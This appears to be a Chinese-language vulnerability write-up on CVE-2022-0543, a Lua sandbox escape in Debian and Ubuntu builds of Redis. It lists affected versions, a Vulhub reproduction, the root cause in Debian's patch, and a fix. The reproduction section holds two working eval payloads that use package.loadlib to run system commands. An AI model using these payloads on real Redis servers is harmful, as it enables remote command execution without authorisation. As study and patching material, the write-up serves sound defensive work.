CVE-2022-0543(Lua 沙盒绕过 RCE)¶
漏洞描述¶
Redis 是著名的开源 Key-Value 数据库,其具备在沙箱中执行 Lua 脚本的能力。Debian 以及 Ubuntu 发行版的源在打包 Redis 时,不慎在 Lua 沙箱中遗留了一个对象 package,攻击者可以利用这个对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令。
影响版本¶
Debian Redis:
-
Debian Redis < 5: 5.0.14-1+deb10u2
-
Debian Redis < 5: 6.0.16-1+deb11u2
-
Debian Redis < 5: 6.0.16-2
Ubuntu Redis:
-
Ubuntu Redis < 5: 6.0.15-1ubuntu0.1
-
Ubuntu Redis < 5: 5.0.7-2ubuntu0.1
发现版本
-
redis/5: 5.0.14-1+deb10u1,
-
redis/5: 5.0.3-4, redis/5: 6.0.15-1
环境配置¶
- Vulhub 项目
- Docker-compose 启动

漏洞复现¶
漏洞存在验证¶


利用 luaopen_io 函数¶
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

利用 luaopen_os 函数¶
eval 'local os_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_os"); local os = os_l(); os.execute("touch /tmp/redis_eval"); return 0' 0
Important
利用的前提条件如下:
- 需要知道 package.loadlib 的路径,也就是 liblua5.1.so.0 路径,该路径可能随系统的不同而不同

Success
在 MSF 中也集成了相关的攻击模块
漏洞原理¶
redis 一直有一个攻击面, 就是在用户连接 redis 后, 可以通过 eval 命令执行 lua 脚本.
但这个脚本跑在沙箱里, 正常情况下无法执行命令, 读取文件
所以这个 CVE 本质是一个沙箱绕过漏洞
Ubuntu/Debian/CentOS 等这些发行版本会在原始软件的基础上打一些补丁包给 Redis 打了一个的补丁, 增加了一个 include, 下面是 Debian 通过 shell 使用 make 生成补丁包的源码 :
luaLoadLib(lua, "", luaopen_base);
luaLoadLib(lua, LUA_TABLIBNAME, luaopen_table);
luaLoadLib(lua, LUA_STRLIBNAME, luaopen_string);
luaLoadLib(lua, LUA_MATHLIBNAME, luaopen_math);
luaLoadLib(lua, LUA_DBLIBNAME, luaopen_debug);
luaLoadLib(lua, "cjson", luaopen_cjson);
luaLoadLib(lua, "struct", luaopen_struct);
luaLoadLib(lua, "cmsgpack", luaopen_cmsgpack);
luaLoadLib(lua, "bit", luaopen_bit);
#if 0 /* Stuff that we don't load currently, for sandboxing concerns. */
luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);
luaLoadLib(lua, LUA_OSLIBNAME, luaopen_os);
#endif
...
...
debian/lua_libs_debian.c:
echo "// Automatically generated; do not edit." >$@
echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
echo " serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
done
echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@
luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,。
这段代码原本在 redis 源码里已经是被注释了的, 将其注释掉的原因就是“for sandboxing concerns”
Debian 的这个补丁却把这句话重新写进去了, luaopen_package 最终会被调用,这与上面代码发生的情况相反。这在全局环境中绑定三个变量:module、require 和 package。前两个变量在前面的版本中被清除修复了,但 package 并没有。导致在 Lua 沙箱中遗留了一个对象 package,攻击者可以利用这个 package 对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令
借助 Lua 沙箱中遗留的变量 package 的 loadlib 函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0 里的导出函数 luaopen_io。在 Lua 中执行这个导出函数,即可获得 io 库,再使用其执行命令。
修复建议¶
Lua 初始化的末尾添加 package = nil 。